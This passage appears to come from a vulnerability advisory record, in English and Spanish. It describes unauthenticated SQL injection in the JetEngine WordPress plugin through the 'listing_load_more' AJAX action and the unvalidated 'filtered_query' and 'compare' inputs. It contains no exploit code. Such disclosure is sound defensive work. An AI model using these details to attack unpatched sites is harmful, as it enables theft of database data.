This is due to the `filtered_query` parameter being excluded from the HMAC signature validation (allowing attacker-controlled input to bypass security checks) combined with the `prepare_where_clause()` method in the SQL Query Builder not sanitizing the `compare` operator before concatenating it into SQL statements. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database, provided the site has a JetEngine Listing Grid with Load More enabled that uses a SQL Query Builder query."}, {"lang": "es", "value": "El plugin JetEngine para WordPress es vulnerable a inyección SQL a través de la acción AJAX 'listing_load_more' en todas las versiones hasta la 3.8.6.1, inclusive. Esto se debe a que el parámetro 'filtered_query' fue excluido de la validación de firma HMAC (lo que permite que la entrada controlada por el atacante omita las comprobaciones de seguridad) combinado con que el método 'prepare_where_clause()' en el Constructor de Consultas SQL no sanitiza el operador 'compare' antes de concatenarlo en sentencias SQL.
